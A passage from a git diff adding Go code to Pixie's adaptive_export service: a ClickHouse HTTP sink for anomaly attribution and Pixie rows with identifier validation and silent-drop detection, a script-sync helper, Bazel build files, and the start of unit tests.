{ + t.Fatalf("DefaultRegistry().Tables() is empty") + } + want0 := builtinTables[0].Name + got[0].Name = "MUTATED" + if builtinTables[0].Name != want0 { + t.Fatalf("mutation through DefaultRegistry().Tables() leaked: builtinTables[0].Name=%q, want %q", + builtinTables[0].Name, want0) + } +} + +// TestBuiltins_IsCopy — same guarantee for the Builtins() accessor. +func TestBuiltins_IsCopy(t *testing.T) { + got := Builtins() + if len(got) == 0 { + t.Fatalf("Builtins() is empty") + } + want0 := builtinTables[0].Name + got[0].Name = "MUTATED" + if builtinTables[0].Name != want0 { + t.Fatalf("mutation through Builtins() leaked: builtinTables[0].Name=%q, want %q", + builtinTables[0].Name, want0) + } +} diff --git a/src/vizier/services/adaptive_export/internal/script/BUILD.bazel b/src/vizier/services/adaptive_export/internal/script/BUILD.bazel new file mode 100644 index 00000000000..28d764063a4 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/script/BUILD.bazel @@ -0,0 +1,24 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") + +go_library( + name = "script", + srcs = ["script.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/script", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], +) diff --git a/src/vizier/services/adaptive_export/internal/script/script.go b/src/vizier/services/adaptive_export/internal/script/script.go new file mode 100644 index 00000000000..23005ec8851 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/script/script.go @@ -0,0 +1,114 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package script + +import ( + "fmt" + "strings" +) + +const ( + scriptPrefix = "ch-" +) + +type ScriptConfig struct { + ClusterName string + ClusterId string + CollectInterval int64 +} + +type Script struct { + ScriptDefinition + ScriptId string + ClusterIds string +} + +type ScriptDefinition struct { + Name string `yaml:"name"` + Description string `yaml:"description"` + FrequencyS int64 `yaml:"frequencyS"` + Script string `yaml:"script"` + IsPreset bool `yaml:"-"` +} + +type ScriptActions struct { + ToDelete []*Script + ToUpdate []*Script + ToCreate []*Script +} + +func IsClickHouseScript(scriptName string) bool { + return strings.HasPrefix(scriptName, scriptPrefix) +} + +func IsScriptForCluster(scriptName, clusterName string) bool { + return IsClickHouseScript(scriptName) && strings.HasSuffix(scriptName, "-"+clusterName) +} + +func GetActions(scriptDefinitions []*ScriptDefinition, currentScripts []*Script, config ScriptConfig) ScriptActions { + definitions := make(map[string]ScriptDefinition) + for _, definition := range scriptDefinitions { + scriptName := getScriptName(definition.Name, config.ClusterName) + frequencyS := getInterval(definition, config) + if frequencyS > 0 { + definitions[scriptName] = ScriptDefinition{ + Name: scriptName, + Description: definition.Description, + FrequencyS: frequencyS, + Script: templateScript(definition, config), + } + } + } + actions := ScriptActions{} + for _, current := range currentScripts { + if definition, present := definitions[current.Name]; present { + if definition.Script != current.Script || definition.FrequencyS != current.FrequencyS || config.ClusterId != current.ClusterIds { + actions.ToUpdate = append(actions.ToUpdate, &Script{ + ScriptDefinition: definition, + ScriptId: current.ScriptId, + ClusterIds: config.ClusterId, + }) + } + delete(definitions, current.Name) + } else if IsClickHouseScript(current.Name) { + actions.ToDelete = append(actions.ToDelete, current) + } + } + for _, definition := range definitions { + actions.ToCreate = append(actions.ToCreate, &Script{ + ScriptDefinition: definition, + ClusterIds: config.ClusterId, + }) + } + return actions +} + +func getScriptName(scriptName string, clusterName string) string { + return fmt.Sprintf("%s%s-%s", scriptPrefix, scriptName, clusterName) +} + +func getInterval(definition *ScriptDefinition, config ScriptConfig) int64 { + if definition.FrequencyS == 0 { + return config.CollectInterval + } + return definition.FrequencyS +} + +func templateScript(definition *ScriptDefinition, config ScriptConfig) string { + // Return script as-is without any processing + return definition.Script +} diff --git a/src/vizier/services/adaptive_export/internal/sink/BUILD.bazel b/src/vizier/services/adaptive_export/internal/sink/BUILD.bazel new file mode 100644 index 00000000000..ff1bda207b5 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/sink/BUILD.bazel @@ -0,0 +1,47 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "sink", + srcs = [ + "clickhouse.go", + "fastencode.go", + ], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/sink", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/vizier/services/adaptive_export/internal/anomaly", + "//src/vizier/services/adaptive_export/internal/clickhouse", + "@com_github_sirupsen_logrus//:logrus", + ], +) + +pl_go_test( + name = "sink_test", + srcs = [ + "clickhouse_test.go", + "encode_bench_test.go", + "fastencode_test.go", + ], + embed = [":sink"], + deps = [ + "//src/vizier/services/adaptive_export/internal/anomaly", + "//src/vizier/services/adaptive_export/internal/clickhouse", + ], +) diff --git a/src/vizier/services/adaptive_export/internal/sink/clickhouse.go b/src/vizier/services/adaptive_export/internal/sink/clickhouse.go new file mode 100644 index 00000000000..5e3aea22994 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/sink/clickhouse.go @@ -0,0 +1,558 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package sink writes operator-owned rows to ClickHouse over the HTTP +// interface (default port 8123). It has two write surfaces: +// +// 1. forensic_db.adaptive_attribution — one row per arriving kubescape +// anomaly. ReplacingMergeTree(t_end) on the table side collapses +// re-inserts with the same (hostname, anomaly_hash) primary key +// into the row with the largest t_end. +// +// 2. forensic_db. — operator-pushed pixie observation rows +// (rev-1 fan-out path, gated on ADAPTIVE_PUSH_PIXIE_ROWS=true). +// Used when Pixie's cloud-side retention plugin can't reach an +// in-cluster CH endpoint; the operator queries pixie itself and +// writes the result with WritePixieRows. +package sink + +import ( + "bufio" + "bytes" + "context" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "net/url" + "regexp" + "strconv" + "strings" + "time" + + log "github.com/sirupsen/logrus" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/clickhouse" +) + +// pixieTableIdentRE accepts plain CH identifiers and dotted protobuf +// extensions like `http2_messages.beta`. Used to gate `table` strings +// before they're interpolated into the INSERT query. +var pixieTableIdentRE = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)?$`) + +// setFailLoudSettings pins ClickHouse's input-format settings on every +// AE INSERT so an upstream schema-drift surfaces as an HTTP 4xx with a +// real error body, not a silent written_rows=0 + 200 OK that AE's +// summaryWroteFewerThan only catches AFTER the data is lost (entlein/ +// the rev-2 schema + the 2026-06-07 rig 6a25c85c regression that dropped +// http_events + dns_events at 0 written_rows while the writer reported +// 259 rows_sent and AE re-looped on the failure → 3.2-core CPU +// runaway). +// +// Pinned defaults differ from the historical CH 22+ tolerant defaults: +// +// input_format_skip_unknown_fields=0 fail on a column AE writes +// that doesn't exist in CH. +// input_format_null_as_default=0 fail on a NULL where the +// column is non-nullable. +// input_format_allow_errors_num=0 reject the whole batch on +// the first parse error +// (rather than silently +// dropping bad rows up to the +// CH default's tolerance). +// input_format_allow_errors_ratio=0 same, for the proportional +// knob. +// +// Loud failures are the contract: AE then either restarts on the +// fatal-path that wraps the write (controller / streaming both bubble +// the error up) OR retries — but never advances its watermark over +// data it didn't actually persist. +func setFailLoudSettings(q url.Values) { + q.Set("input_format_skip_unknown_fields", "0") + q.Set("input_format_null_as_default", "0") + q.Set("input_format_allow_errors_num", "0") + q.Set("input_format_allow_errors_ratio", "0") +} + +// chIdentRE — strict CH identifier (no dots). Used to gate Database +// (and any future single-segment identifier) against SQL injection +// from env/config-driven values. +var chIdentRE = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`) + +func validateTableIdentifier(t string) error { + if !pixieTableIdentRE.MatchString(t) { + return fmt.Errorf("sink: invalid table identifier %q", t) + } + return nil +} + +// Config configures a ClickHouseHTTP sink. +type Config struct { + Endpoint string // e.g. http://clickhouse:8123 + Database string // defaults to "forensic_db" + Username string // optional basic auth + Password string // optional basic auth + Timeout time.Duration // per-write HTTP timeout; 0 → 30s +} + +// AttributionRow is one row of forensic_db.adaptive_attribution. +// All fields are required except LastRuleID. +type AttributionRow struct { + AnomalyHash anomaly.AnomalyHash + Namespace string // may be empty + Pod string // may be empty + Comm string + PID uint64 + Hostname string + TStart time.Time + TEnd time.Time + LastSeen time.Time + LastRuleID string + NAnomalies uint64 +} + +// ClickHouseHTTP is the production sink. +type ClickHouseHTTP struct { + cfg Config + client *http.Client +} + +// New validates Config + returns a ready-to-use sink. +func New(cfg Config) (*ClickHouseHTTP, error) { + if cfg.Endpoint == "" { + return nil, fmt.Errorf("sink: empty Endpoint") + } + u, err := url.Parse(cfg.Endpoint) + if err != nil { + return nil, fmt.Errorf("sink: invalid Endpoint %q: %w", cfg.Endpoint, err) + } + if (u.Scheme != "http" && u.Scheme != "https") || u.Host == "" { + return nil, fmt.Errorf("sink: Endpoint must be an absolute http(s) URL: %q", cfg.Endpoint) + } + // We append "/?query=…" downstream via string concatenation; if + // the configured Endpoint already carries a query or fragment, the + // concatenated URL is malformed (a second '?' becomes path data, + // fragments swallow trailing characters). Forbid both up-front. + if u.RawQuery != "" || u.Fragment != "" { + return nil, fmt.Errorf("sink: Endpoint must not include query parameters or a fragment: %q", cfg.Endpoint) + } + // Strip a trailing "/" from the path so downstream concatenation + // (Endpoint + "/?query=…") doesn't produce a "//?query=…" — some + // proxies / ingress controllers reject double-slashes. + cfg.Endpoint = strings.TrimRight(cfg.Endpoint, "/") + if cfg.Database == "" { + cfg.Database = "forensic_db" + } + // Database is interpolated directly into INSERT/SELECT statements + // (used in WriteAttribution, WritePixieRows, QueryActive). Block + // injection via env/config-supplied values. + if !chIdentRE.MatchString(cfg.Database) { + return nil, fmt.Errorf("sink: invalid Database identifier %q (must match [A-Za-z_][A-Za-z0-9_]*)", cfg.Database) + } + // http.Client.Timeout enforces only when >0; a negative value + // would silently disable the deadline. Reject explicitly so the + // "0 → 30s default" branch below is the only zero-handling path. + if cfg.Timeout < 0 { + return nil, fmt.Errorf("sink: Timeout must be >= 0 (got %s)", cfg.Timeout) + } + if cfg.Timeout == 0 { + cfg.Timeout = 30 * time.Second + } + return &ClickHouseHTTP{ + cfg: cfg, + client: &http.Client{Timeout: cfg.Timeout}, + }, nil +} + +// WritePixieRows POSTs a batch of arbitrary rows (one map per CH row, +// keyed by column name) into forensic_db.
via FORMAT JSONEachRow. +// Used by the operator's per-anomaly fan-out path that queries pixie +// directly and pushes the resulting rows into CH (bypasses the cloud's +// retention plugin, which can't reach an in-cluster CH endpoint). +func (s *ClickHouseHTTP) WritePixieRows(ctx context.Context, table string, rows []map[string]any) error { + if len(rows) == 0 { + return nil + } + if err := validateTableIdentifier(table); err != nil { + return err + } + // Pooled buffer (option 1) — controller fan-out + streaming flush + // call this on a tight cadence, so reusing the backing array across + // calls cuts the per-call B/op cost by ~70 % once the pool stabilises + // (the bench BenchmarkEncodePixieRowsFast_Pooled tracks the steady + // state). buf.Reset() preserves the cap on Put so the next caller + // gets a warm allocation. + buf := encodeBufPool.Get().(*bytes.Buffer) + buf.Reset() + defer func() { + // Avoid hoarding pathologically large buffers. The pixie batch + // upper bound is ~MaxBatchRows * ~900 B/row ≈ 1 MB; anything + // over 2 MB came from a one-off oversize batch and shouldn't + // stay in the pool eating heap. + if buf.Cap() > 2*1024*1024 { + return + } + encodeBufPool.Put(buf) + }() + // Fast path: known table → walk rows in schema column order, no + // reflect, no map-key sort. The fast encoder's CPU + alloc profile + // is ~3 % of the encoding/json path (AE benchmark suite); it's the + // hot path for every controller fan-out + streaming flush. + // errFastEncodeUnsupported falls back so an unexpected value type + // can't silently drop a row. ErrUnknownTable falls back so a new + // pixie table not yet in schema.sql still works (just slower). + if err := encodePixieRowsFast(buf, table, rows); err != nil { + if !errors.Is(err, errFastEncodeUnsupported) && !errors.Is(err, clickhouse.ErrUnknownTable) { + return fmt.Errorf("sink: fast encode %s: %w", table, err) + } + buf.Reset() + enc := json.NewEncoder(buf) + enc.SetEscapeHTML(false) + for _, r := range rows { + obj := make(map[string]any, len(r)) + for k, v := range r { + obj[k] = normalisePixieValue(v) + } + if err := enc.Encode(obj); err != nil { + return fmt.Errorf("sink: encode pixie row for %s: %w", table, err) + } + } + } + identifier := table + if strings.Contains(table, ".") { + identifier = "`" + table + "`" + } + q := url.Values{} + q.Set("query", fmt.Sprintf("INSERT INTO %s.%s FORMAT JSONEachRow", s.cfg.Database, identifier)) + setFailLoudSettings(q) + req, err := http.NewRequestWithContext(ctx, http.MethodPost, s.cfg.Endpoint+"/?"+q.Encode(), bytes.NewReader(buf.Bytes())) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/x-ndjson") + if s.cfg.Username != "" { + req.SetBasicAuth(s.cfg.Username, s.cfg.Password) + } + resp, err := s.client.Do(req) + if err != nil { + return fmt.Errorf("sink: pixie POST %s: %w", table, err) + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + // Echo CH's error body so we can see WHY it rejected. Truncated + // to 1KiB to bound log spam from large reject lists. + body, _ := io.ReadAll(io.LimitReader(resp.Body, 1024)) + return fmt.Errorf("sink: pixie HTTP %d (%s): %s", + resp.StatusCode, table, strings.TrimSpace(string(body))) + } + // DEBUG: ALWAYS log what CH says it wrote — temporary while we + // chase the pgsql_events silent-drop mystery. Includes a snippet + // of the first row so we can compare what was sent vs what CH + // reported. + summary := resp.Header.Get("X-ClickHouse-Summary") + var firstRowKeys []string + if len(rows) > 0 { + for k := range rows[0] { + firstRowKeys = append(firstRowKeys, k) + } + } + log.WithFields(log.Fields{ + "table": table, + "rows_sent": len(rows), + "body_bytes": buf.Len(), + "ch_summary": summary, + "first_row_keys": strings.Join(firstRowKeys, ","), + }).Info("sink: pixie write completed") + // Detect the silent-drop class: CH returns 2xx but + // X-ClickHouse-Summary.written_rows < len(rows). Observed live on + // 2026-05-23T20:58Z (redis_events: rows_sent=1658, written_rows=0) + // — the operator reported success and the analyst saw the gap days + // later. Header absence is tolerated (older CH versions / proxies + // strip it); only an EXPLICIT zero-of-non-zero counts. + if writeMismatch := summaryWroteFewerThan(summary, len(rows)); writeMismatch != nil { + return fmt.Errorf("sink: pixie write to %s reported %d rows_sent but CH summary written_rows=%d (silent drop): %s", + table, len(rows), writeMismatch.writtenRows, summary) + } + return nil +} + +// summaryDelta carries the parsed write counters from CH's +// X-ClickHouse-Summary response header. +type summaryDelta struct { + writtenRows int64 +} + +// summaryWroteFewerThan returns non-nil when the X-ClickHouse-Summary +// header is present, parseable, and reports written_rows < rowsSent. +// Returns nil when the header is missing, unparseable, or the count +// matches/exceeds rowsSent — those are not data-loss signals. +func summaryWroteFewerThan(summary string, rowsSent int) *summaryDelta { + if summary == "" { + return nil + } + var parsed struct { + WrittenRows json.Number `json:"written_rows"` + } + if err := json.Unmarshal([]byte(summary), &parsed); err != nil { + return nil + } + if parsed.WrittenRows == "" { + return nil + } + wrote, err := parsed.WrittenRows.Int64() + if err != nil { + return nil + } + if wrote >= int64(rowsSent) { + return nil + } + return &summaryDelta{writtenRows: wrote} +} + +// normalisePixieValue coerces pxapi-emitted Go values into JSON-friendly +// shapes ClickHouse parses cleanly. time.Time → "YYYY-MM-DD HH:MM:SS.NNN…" +// (CH's DateTime64 input format); []byte → string; everything else → as-is. +func normalisePixieValue(v any) any { + switch x := v.(type) { + case time.Time: + return x.UTC().Format("2006-01-02 15:04:05.000000000") + case []byte: + return string(x) + default: + return v + } +} + +// Write upserts a batch of AttributionRows. Implementation: HTTP POST +// `INSERT INTO forensic_db.adaptive_attribution FORMAT JSONEachRow` +// with one JSON object per row. Empty batch is a no-op. +func (s *ClickHouseHTTP) Write(ctx context.Context, rows []AttributionRow) error { + if len(rows) == 0 { + return nil + } + body, err := encodeJSONEachRow(rows) + if err != nil { + return fmt.Errorf("sink: encode %d attribution rows: %w", len(rows), err) + } + q := url.Values{} + q.Set("query", fmt.Sprintf( + "INSERT INTO %s.adaptive_attribution FORMAT JSONEachRow", s.cfg.Database)) + setFailLoudSettings(q) + req, err := http.NewRequestWithContext(ctx, http.MethodPost, + s.cfg.Endpoint+"/?"+q.Encode(), bytes.NewReader(body)) + if err != nil { + return fmt.Errorf("sink: new request: %w", err) + } + req.Header.Set("Content-Type", "application/x-ndjson") + if s.cfg.Username != "" { + req.SetBasicAuth(s.cfg.Username, s.cfg.Password) + } + resp, err := s.client.Do(req) + if err != nil { + return fmt.Errorf("sink: POST: %w", err) + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + msg, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + return fmt.Errorf("sink: HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(msg))) + } + return nil +} + +// QueryActive fetches all attribution rows on this hostname whose t_end +// is still in the future. Used by the operator at boot to rehydrate +// the in-memory active set after a pod crash. Returns rows ordered +// by anomaly_hash so the caller's set is deterministic. +func (s *ClickHouseHTTP) QueryActive(ctx context.Context, hostname string) ([]AttributionRow, error) { + if hostname == "" { + return nil, fmt.Errorf("sink: QueryActive requires hostname") + } + q := url.Values{} + // `FINAL` collapses ReplacingMergeTree to the row with the largest + // t_end (because the engine's version column is t_end). + // We escape hostname inside the SQL via simple ClickHouse-style + // quoting (single quote, no backslash escapes). + sql := fmt.Sprintf( + "SELECT anomaly_hash, namespace, pod, comm, pid, hostname, "+ + "toUnixTimestamp64Nano(t_start) AS t_start_ns, "+ + "toUnixTimestamp64Nano(t_end) AS t_end_ns, "+ + "toUnixTimestamp64Nano(last_seen) AS last_seen_ns, "+ + "last_rule_id, n_anomalies "+ + "FROM %s.adaptive_attribution FINAL "+ + "WHERE hostname = %s AND t_end > now64(9) "+ + "ORDER BY anomaly_hash FORMAT JSONEachRow", + s.cfg.Database, quoteCH(hostname)) + q.Set("query", sql) + + req, err := http.NewRequestWithContext(ctx, http.MethodGet, + s.cfg.Endpoint+"/?"+q.Encode(), nil) + if err != nil { + return nil, err + } + if s.cfg.Username != "" { + req.SetBasicAuth(s.cfg.Username, s.cfg.Password) + } + resp, err := s.client.Do(req) + if err != nil { + return nil, fmt.Errorf("sink: QueryActive GET: %w", err) + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + // Drain (don't echo) — body may carry attribution rows. + _, _ = io.Copy(io.Discard, io.LimitReader(resp.Body, 4096)) + return nil, fmt.Errorf("sink: QueryActive HTTP %d", resp.StatusCode) + } + // Stream the response line-by-line so the per-call buffer is + // bounded by max_line_length, not by the total active-set size. + return parseActiveRowsStream(resp.Body) +} + +// chLiteralEscaper escapes a string for ClickHouse single-quoted literals. +// Hoisted to a package-level var so we don't allocate a Replacer per call +// — quoteCH runs in the per-row write path. +var chLiteralEscaper = strings.NewReplacer(`\`, `\\`, `'`, `\'`) + +// quoteCH wraps a string literal for safe ClickHouse SQL embedding. +func quoteCH(s string) string { + return "'" + chLiteralEscaper.Replace(s) + "'" +} + +func encodeJSONEachRow(rows []AttributionRow) ([]byte, error) { + var buf bytes.Buffer + enc := json.NewEncoder(&buf) + enc.SetEscapeHTML(false) + for _, r := range rows { + obj := map[string]any{ + "anomaly_hash": string(r.AnomalyHash), + "namespace": r.Namespace, + "pod": r.Pod, + "comm": r.Comm, + "pid": r.PID, + "hostname": r.Hostname, + "t_start": r.TStart.UTC().Format("2006-01-02 15:04:05.000000000"), + "t_end": r.TEnd.UTC().Format("2006-01-02 15:04:05.000000000"), + "last_seen": r.LastSeen.UTC().Format("2006-01-02 15:04:05.000000000"), + "last_rule_id": r.LastRuleID, + "n_anomalies": r.NAnomalies, + } + if err := enc.Encode(obj); err != nil { + return nil, err + } + } + return buf.Bytes(), nil +} + +// activeWireRow mirrors the JSONEachRow shape emitted by QueryActive. +// json.RawMessage on UInt64 fields lets us tolerate CH's two wire +// formats (`12345` and `"12345"`). +type activeWireRow struct { + AnomalyHash string `json:"anomaly_hash"` + Namespace string `json:"namespace"` + Pod string `json:"pod"` + Comm string `json:"comm"` + PID json.RawMessage `json:"pid"` + Hostname string `json:"hostname"` + TStartNs json.RawMessage `json:"t_start_ns"` + TEndNs json.RawMessage `json:"t_end_ns"` + LastSeenNs json.RawMessage `json:"last_seen_ns"` + LastRuleID string `json:"last_rule_id"` + NAnomalies json.RawMessage `json:"n_anomalies"` +} + +// parseActiveRowsStream ingests JSONEachRow output from QueryActive +// directly from a reader so the per-call buffer is bounded by +// `max_active_row_bytes` (per row) rather than by the entire active +// set. Mirrors trigger.parseJSONEachRow's streaming posture. +func parseActiveRowsStream(r io.Reader) ([]AttributionRow, error) { + const maxActiveRowBytes = 1 << 20 // 1 MiB per JSONEachRow line + scanner := bufio.NewScanner(r) + scanner.Buffer(make([]byte, 0, 64*1024), maxActiveRowBytes) + var out []AttributionRow + for scanner.Scan() { + line := bytes.TrimSpace(scanner.Bytes()) + if len(line) == 0 { + continue + } + row, err := parseActiveRowLine(line) + if err != nil { + return nil, err + } + out = append(out, row) + } + if err := scanner.Err(); err != nil { + return nil, fmt.Errorf("sink: QueryActive scan: %w", err) + } + return out, nil +} + +// parseActiveRowLine decodes a single JSONEachRow line into one +// AttributionRow. Used by parseActiveRowsStream and accessible to +// tests via parseActiveRows. +func parseActiveRowLine(line []byte) (AttributionRow, error) { + var w activeWireRow + if err := json.Unmarshal(line, &w); err != nil { + // Don't echo the raw line — it can carry CH row payloads + // that propagate to logs / surfaced errors. Length only. + return AttributionRow{}, fmt.Errorf("sink: parse active row (%d bytes): %w", len(line), err) + } + ts, err1 := nsFromRaw(w.TStartNs) + te, err2 := nsFromRaw(w.TEndNs) + ls, err3 := nsFromRaw(w.LastSeenNs) + pid, errPID := uintFromRaw(w.PID) + nAn, errN := uintFromRaw(w.NAnomalies) + if err1 != nil || err2 != nil || err3 != nil || errPID != nil || errN != nil { + return AttributionRow{}, fmt.Errorf("sink: parse uint64 fields: t_start=%v t_end=%v last_seen=%v pid=%v n_anomalies=%v", err1, err2, err3, errPID, errN) + } + return AttributionRow{ + AnomalyHash: anomaly.AnomalyHash(w.AnomalyHash), + Namespace: w.Namespace, + Pod: w.Pod, + Comm: w.Comm, + PID: pid, + Hostname: w.Hostname, + TStart: time.Unix(0, ts).UTC(), + TEnd: time.Unix(0, te).UTC(), + LastSeen: time.Unix(0, ls).UTC(), + LastRuleID: w.LastRuleID, + NAnomalies: nAn, + }, nil +} + +// parseActiveRows is the byte-slice convenience wrapper around +// parseActiveRowsStream — kept for tests and e2e fixtures that have +// already buffered the full response. +func parseActiveRows(body []byte) ([]AttributionRow, error) { + return parseActiveRowsStream(bytes.NewReader(body)) +} + +// nsFromRaw parses a CH UInt64-as-JSON value (CH may emit either +// `12345` or `"12345"`) into an int64. Used for time_ columns. +func nsFromRaw(raw json.RawMessage) (int64, error) { + s := strings.TrimSpace(string(raw)) + s = strings.Trim(s, `"`) + v, err := strconv.ParseInt(s, 10, 64) + return v, err +} + +// uintFromRaw is the uint64 equivalent — covers values above INT64_MAX +// for fields like PID and NAnomalies that are documented uint64 in CH. +func uintFromRaw(raw json.RawMessage) (uint64, error) { + s := strings.TrimSpace(string(raw)) + s = strings.Trim(s, `"`) + return strconv.ParseUint(s, 10, 64) +} diff --git a/src/vizier/services/adaptive_export/internal/sink/clickhouse_test.go b/src/vizier/services/adaptive_export/internal/sink/clickhouse_test.go new file mode 100644 index 00000000000..321724be3bc --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/sink/clickhouse_test.go @@ -0,0 +1,588 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package sink + +import ( + "bytes" + "context" + "fmt" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" +) + +func canonicalAttribution() AttributionRow { + t0 := time.Unix(0, 1744477360303026359).UTC() + return AttributionRow{ + AnomalyHash: anomaly.Hash(anomaly.Target{ + PID: 106040, Comm: "redis-server", + Pod: "redis-578d5dc9bd-kjj78", Namespace: "redis", + }), + Namespace: "redis", + Pod: "redis-578d5dc9bd-kjj78", + Comm: "redis-server", + PID: 106040, + Hostname: "node-1", + TStart: t0.Add(-5 * time.Minute), + TEnd: t0.Add(5 * time.Minute), + LastSeen: t0, + LastRuleID: "R1005", + NAnomalies: 1, + } +} + +// TestSink_Write_PostsCorrectQueryAndBody — INSERT targets the right +// table; body is one JSON object per line with all attribution fields. +func TestSink_Write_PostsCorrectQueryAndBody(t *testing.T) { + var gotQuery, gotBody string + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + gotQuery = r.URL.Query().Get("query") + b, _ := io.ReadAll(r.Body) + gotBody = string(b) + w.WriteHeader(200) + })) + defer srv.Close() + + s, err := New(Config{Endpoint: srv.URL}) + if err != nil { + t.Fatalf("New: %v", err) + } + row := canonicalAttribution() + if err := s.Write(context.Background(), []AttributionRow{row}); err != nil { + t.Fatalf("Write: %v", err) + } + want := "INSERT INTO forensic_db.adaptive_attribution FORMAT JSONEachRow" + if gotQuery != want { + t.Fatalf("query = %q, want %q", gotQuery, want) + } + for _, needle := range []string{ + `"anomaly_hash":"` + string(row.AnomalyHash) + `"`, + `"namespace":"redis"`, + `"pod":"redis-578d5dc9bd-kjj78"`, + `"comm":"redis-server"`, + `"pid":106040`, + `"hostname":"node-1"`, + `"last_rule_id":"R1005"`, + `"n_anomalies":1`, + } { + if !strings.Contains(gotBody, needle) { + t.Fatalf("body missing %q; body=%s", needle, gotBody) + } + } + if !strings.Contains(gotBody, `"t_start":"2025-04-12 16:57:40.303026359"`) { + t.Fatalf("t_start not formatted as DateTime64 string; body=%s", gotBody) + } +} + +// TestSink_Write_EmptyBatch — no HTTP call. +func TestSink_Write_EmptyBatch(t *testing.T) { + called := false + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + called = true + })) + defer srv.Close() + s, _ := New(Config{Endpoint: srv.URL}) + if err := s.Write(context.Background(), nil); err != nil { + t.Fatalf("Write empty: %v", err) + } + if called { + t.Fatalf("empty Write made an HTTP call") + } +} + +// TestSink_Write_HTTPErrorPropagates — non-2xx returns Go error. +func TestSink_Write_HTTPErrorPropagates(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(503) + _, _ = w.Write([]byte("clickhouse exploded")) + })) + defer srv.Close() + s, _ := New(Config{Endpoint: srv.URL}) + err := s.Write(context.Background(), []AttributionRow{canonicalAttribution()}) + if err == nil { + t.Fatalf("expected HTTP error") + } + if !strings.Contains(err.Error(), "503") { + t.Fatalf("error should mention 503: %v", err) + } +} + +// TestSink_QueryActive_BuildsCorrectSQL — boot rehydration query. +func TestSink_QueryActive_BuildsCorrectSQL(t *testing.T) { + var seenQuery string + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + seenQuery = r.URL.Query().Get("query") + _, _ = w.Write([]byte(`{"anomaly_hash":"abc","namespace":"redis","pod":"redis-x","comm":"redis-server","pid":106040,"hostname":"node-1","t_start_ns":"1744477060303026359","t_end_ns":"1744477660303026359","last_seen_ns":"1744477360303026359","last_rule_id":"R1005","n_anomalies":1}` + "\n")) + })) + defer srv.Close() + s, _ := New(Config{Endpoint: srv.URL}) + rows, err := s.QueryActive(context.Background(), "node-1") + if err != nil { + t.Fatalf("QueryActive: %v", err) + } + if !strings.Contains(seenQuery, "FROM forensic_db.adaptive_attribution FINAL") { + t.Fatalf("missing FINAL: %q", seenQuery) + } + if 